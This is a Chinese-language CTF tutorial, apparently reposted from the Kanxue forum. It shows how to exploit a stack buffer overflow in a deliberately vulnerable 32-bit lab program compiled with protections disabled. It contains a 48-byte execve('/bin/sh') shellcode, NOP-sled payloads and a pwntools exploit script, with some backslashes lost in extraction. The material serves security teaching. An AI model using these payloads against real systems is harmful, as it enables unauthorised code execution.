从0开始CTF-PWN（三）没有system怎么办？构造你的shellcode

admin

101400
文章

87
评论

2021年1月4日11:10:32评论98 views字数 6177阅读20分35秒阅读模式

本文为看雪论优秀文章

看雪论坛作者ID：dxbaicai

一、教程说明

1.1 历史回顾

第一节我们介绍了基础环境准备：
从0开始CTF-PWN（一）——基础环境准备

https://bbs.pediy.com/thread-259199.htm

第二节我们介绍了栈溢出的入门：
从0开始CTF-PWN（二）从PWN的HelloWorld-栈溢出开始

1.2 本节说明

之前我们是利用程序代码中已经存在的system函数直接返回shell，本篇会介绍当程序没有提供shell返回的时候，如何构造一个shell。

同样，教程需要对c语言和汇编有一些基本理解，分析过程中遇到问题会穿插对应知识点的方式进行说明。

二、环境设置及编译说明

2.1 环境设置

为了降低入门难度，会关闭操作系统的地址空间随机化（ASLR），这是针对栈溢出漏洞被操作系统广泛采用的防御措施。

# 注意，下面是临时修改方案，系统重启后会被重置为2echo 0 > /proc/sys/kernel/randomize_va_space

2.2 编译源文件

在实验环境创建.c源代码文件，使用如下命令进行编译。

gcc-4.8 -g -m32 -O0 -fno-stack-protector -z execstack -o [可执行文件名] [源文件名]

知识点——编译参数说明

-m32：使用32位编译
-O0：关闭所有优化
-g：在可执行文件中加入源码信息
-fno-stack-protector：关闭栈保护
-z execstack：启用栈上代码可执行

三、构造shell

3.1 pwn_test_bof2.c程序

我们来看这样一段程序：

#include <stdio.h>#include <string.h> int main(int argc, char* argv[]) {    char buf[128];    if (argc < 2) return 1;    strcpy(buf, argv[1]);    printf("Input:%sn", buf);    return 0;}

这次我们就只有一个main函数，main函数通过strcpy拷贝argv[1]到事先定义的buf数组中，然后将buf打印出来。

根据上一节所学的知识，我们知道当argv[1]的长度超过128时，就会发生栈溢出，但是没有system函数可以给我们提供shell了，要怎么办呢？

使用如下命令进行编译：

gcc-4.8 -g -m32 -O0 -fno-stack-protector -z execstack -o pwn_test_bof2_32-gcc4.8 pwn_test_bof2.c

3.2 构造特殊的栈结构

栈结构回顾

我们先来回顾一下上一节中关于函数调用与返回的栈结构。

调用结束时，栈变化的核心任务是弹出被调用函数（callee）的状态，并将整个栈恢复到调用函数（caller）的状态。首先弹出被调用函数（callee）的局部变量，然后将栈上存储的调用函数（caller）的基地址从栈内弹出，并重新保存到ebp寄存器中，这样调用函数的基地址信息得以恢复，此时栈顶会指向返回地址。最后将返回地址从栈顶弹出，并保存到eip寄存器内，这样调用函数的eip指令信息得以恢复，指向了调用函数后的下一条语句。

构造的栈结构

注意上文最后一句“最后将返回地址从栈顶弹出...指向了调用函数后的下一条语句”，由于程序并没有关闭栈上可执行（编译时使用了-z execstack参数，也就是说可以在栈上执行代码），如果我们将函数的返回地址改到栈上，并在栈上放置我们精心准备过的获取shell的指令语句，使得函数返回时跳转到shellcode去执行。不就可以获得shell了吗？

**注意：此时虽然栈被弹出了，但只是栈顶指针的位置发生了变化，之前的写入内存的buf数组其数据并没有被清理（根据cdecl调用约定退出main函数时才被清理），所以我们可以用于跳转。

3.3 什么是shellcode

shellcode就是一串可以返回shell的机器指令码，在linux上典型的有：
Linux/x86 - execve(/bin/sh) + Polymorphic Shellcode (48 bytes)

对应代码为：

char shellcode[] =     "xebx11x5ex31xc9xb1x32x80"            "x6cx0exffx01x80xe9x01x75"              "xf6xebx05xe8xeaxffxffxff"            "x32xc1x51x69x30x30x74x69"            "x69x30x63x6ax6fx8axe4x51"            "x54x8axe2x9axb1x0cxcex81";

shellcode本质就是就是一串机器码，执行后提供shell。

3.4 攻击思路

根据上面的分析，我们需要如下计算步骤：

找出buf变量地址。我们可以从buf一开始就写入shellcode，也可以填写一段padding后再写入shellcode。记录shellcode填充的位置。
找出main函数返回地址。
计算main函数返回地址与buf变量地址2者的偏移量，在填充完shellcode后，再填充差值长度的padding，使得可以覆盖返回地址，并将返回地址指向shellcode所在位置。

思路明确，我们现在开始来逐步调试。

* 找出buf地址

我们先随意输入一个字符串作为参数，调试过程中观察在执行完strcpy函数后特殊字符出现在哪个位置，即可快速判断buf的起始位置。

查看函数汇编代码后在strcpy的下一行下断点，并输入r(run)指令执行，这个时候已经完成了函数调用，另外在ret指令下第二个断点，从上一篇中我们知道，此时栈顶即为返回地址。

disassemble main# 下断点b *0x080491aeb *0x080491c8

执行并观察断点1处时的栈空间：

# 执行r# 查看50空间的栈（由于buf数组较长，我们这里查看50长度的空间）stack 50

可以看到buf的起始地址为0xffffd580，记录下来。

* 找出main函数返回地址

输入c继续执行到第二个断点，我们来验证下地址是不是上图中我们猜测的。

# 继续执行c

可以看到确实是我们猜测的地址，在栈上的位置为0xffffd60c，另外也说明了可以通过类似<__libc_start_main+241>的关键字去找返回地址。

* 计算偏移量差值，覆盖返回地址

于是我们可以计算偏移量差值为140：

gdb-peda$ p/d 0xffffd60c - 0xffffd580$2 = 140

* 尝试构造Payload

于是我们可以构造如下的payload结构，这里buf的起始地址位置就是填在返回地址所在位置：

shellcode + padding + buf的起始地址

# payload：shellcode(48字节) + padding(140-48=92字节) + buf的起始地址(注意要转换成小端序)"xebx11x5ex31xc9xb1x32x80x6cx0exffx01x80xe9x01x75xf6xebx05xe8xeaxffxffxffx32xc1x51x69x30x30x74x69x69x30x63x6ax6fx8axe4x51x54x8axe2x9axb1x0cxcex81" + "A"*(140-48) + "x80xd5xffxff"

在命令行里执行，却发现报错了，是我们哪里出错了吗？

问题分析

其实这是因为我们一开始调试的时候用的是4位参数AAAA进行调试的，但是我们上面payload输入的是140+4位的长度，导致程序分配的buf的地址发生了变化，起始地址不在是0xffffd580。所以我们重新整理下解题思路应该如下：

先找出偏移量（偏移量不会变化）
输入偏移量+4长度的字符，获得此时buf的起始地址
构造payload

输入144位长度的字符作为参数，并检查返回地址是否被正确覆盖。这里输入：

# "A"*140+"CCCC"gdb -q -args ./pwn_test_bof2_32-gcc4.8 $(python -c 'print "A"*140+"CCCC"')

重新执行上面的下断点步骤查看buf起始地址和函数返回地址，发现输入长度变化后确实起始地址也跟着变化了，同时验证了原来是main函数返回地址的位置已经被替换成了我们预计的CCCC，证明偏移量是没有发生变化的。

得到144输入长度下buf的起始地址应该为0xffffd4f0。

* 再次构造payload

# 注意这里我们使用gdb来执行gdb -q -args ./pwn_test_bof2_32-gcc4.8 $(python -c 'print "xebx11x5ex31xc9xb1x32x80x6cx0exffx01x80xe9x01x75xf6xebx05xe8xeaxffxffxffx32xc1x51x69x30x30x74x69x69x30x63x6ax6fx8axe4x51x54x8axe2x9axb1x0cxcex81" + "A"*(140-48) + "xf0xd4xffxff"')gdb-peda$ startigdb-peda$ r

可以看到我们终于成功得到了shell：

但是你会发现如果不在gdb中执行，直接外部执行——又报错了，这又是为啥呢？

* 增加NOP链

这是因为gdb在运行时，会往栈上添加许多进程使用的环境变量，导致栈的地址变低了，但是直接运行时，没有这些环境变量，所以地址会比gdb中查询获得的高。对于这个问题，我们可以NOP链来绕过。

知识点1：NOP指令

NOP指令，也称作“空指令”，在x86的CPU中机器码为0x90(144)。NOP不执行操作，但占一个程序步。——也就是说当遇到NOP指令的时候，程序不会做任何事，而是继续执行下一条指令。

我们可以改造一下payload，在头部放上一段NOP指令，然后再跟上shellcode，并适当偏移之前的buf起始地址，这样当返回地址指向这段NOP指令中的任意一个地址时，因为NOP空指令的关系，会一直找下去，直到遇到shellcode，这样就大大提高了命中率。对于栈可执行程序而言，这是一种很有效的命中方式。

增加链后的payload

我们计划插入60长度的NOP，并把上面查询获得的buf地址+60。

# 使用python快速计算>>> hex(0xffffd4f0+60)'0xffffd52c'

构造payload

./pwn_test_bof2_32-gcc4.8 $(python -c 'print "x90"*60 + "xebx11x5ex31xc9xb1x32x80x6cx0exffx01x80xe9x01x75xf6xebx05xe8xeaxffxffxffx32xc1x51x69x30x30x74x69x69x30x63x6ax6fx8axe4x51x54x8axe2x9axb1x0cxcex81" + "A"*(140-48-60) + "x2cxd5xffxff"')

执行得到shell：

知识点2：使用pwntools.cyclic()快速定位偏移量

这里补充一个快速定位偏移量的好工具cyclic()

在本例中，这样使用：

# 进入python并加载pwntoolsroot@kali-linux:~# python>>> from pwn import *# 生成一个200长度的有序字符串>>> cyclic(200)'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab'>>>

然后将这个串作为参数输入程序：

gdb -q -args ./pwn_test_bof2_32-gcc4.8 aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabgdb-peda$ startigdb-peda$ r

会看到如下输出：

这里的0x6261616b表示函数返回到这个地址了，我们把这个放到cyclic_find()里找一下，可以看到返回了正确的偏移量。

>>> cyclic_find(0x6261616b)140

3.6 pwntools实现

这里提供了pwntools攻击的实现。

# coding:utf-8from pwn import *context(arch='amd64', os='linux', log_level='debug')payload = "x90" * 60# shellcodepayload += "xebx11x5ex31xc9xb1x32x80"payload += "x6cx0exffx01x80xe9x01x75"payload += "xf6xebx05xe8xeaxffxffxff"payload += "x32xc1x51x69x30x30x74x69"payload += "x69x30x63x6ax6fx8axe4x51"payload += "x54x8axe2x9axb1x0cxcex81"payload += "A" * (140 - 48 - 60) + p32(0xffffd52c)p = process(argv=['/home/pwn/test/pwn_test_bof2_32-gcc4.8', payload])p.interactive()

四、总结

我们再来回顾下我们是如何自己构造一个shell的：

先找出偏移量（可以利用cyclic工具）
输入偏移量+4长度的字符，获得此时buf的起始地址
构造payload：

NOP*N + shellcode + padding*(偏移量-shellcode长度-NOP长度) + (shellcode地址)

我们现在知道了怎么构造自己的shell了，但是这一切都是建立在栈上代码可以执行这一基础上的，现在的应用大部分都不太可能打开-z execstack参数了，那么我们继续思考，当栈不可执行时，我们又要怎么获得Shell呢？

从0开始CTF-PWN（三）没有system怎么办？构造你的shellcode

- End -

从0开始CTF-PWN（三）没有system怎么办？构造你的shellcode

看雪ID：dxbaicai

https://bbs.pediy.com/user-home-868728.htm

*本文由看雪论坛 dxbaicai 原创，转载请注明来自看雪社区。

# 往期推荐

公众号ID：ikanxue

官方微博：看雪安全

商务合作：[email protected]

球分享

球点赞

球在看

点击“阅读原文”，了解更多！

本文始发于微信公众号（看雪学院）：从0开始CTF-PWN（三）没有system怎么办？构造你的shellcode

左青龙
微信扫一扫

右白虎
微信扫一扫

从0开始CTF-PWN（三）没有system怎么办？构造你的shellcode

1.1 历史回顾

1.2 本节说明

2.1 环境设置

2.2 编译源文件

3.1 pwn_test_bof2.c程序

3.2 构造特殊的栈结构

3.3 什么是shellcode

3.4 攻击思路

3.6 pwntools实现

实战 | wx某小程序证书站绕过SQL注入

PWNHUB Web第一题writeup

Vulnerable Docker VM WriteUp

使用树莓派 Zero 实现带回显的新型 Bad USB

二进制安全之栈溢出（一）

二进制安全之栈溢出（二）

二进制安全之栈溢出（三）

二进制安全之栈溢出（四）

二进制安全之栈溢出（五）

二进制安全之栈溢出（六）

发表评论

在线咨询

微信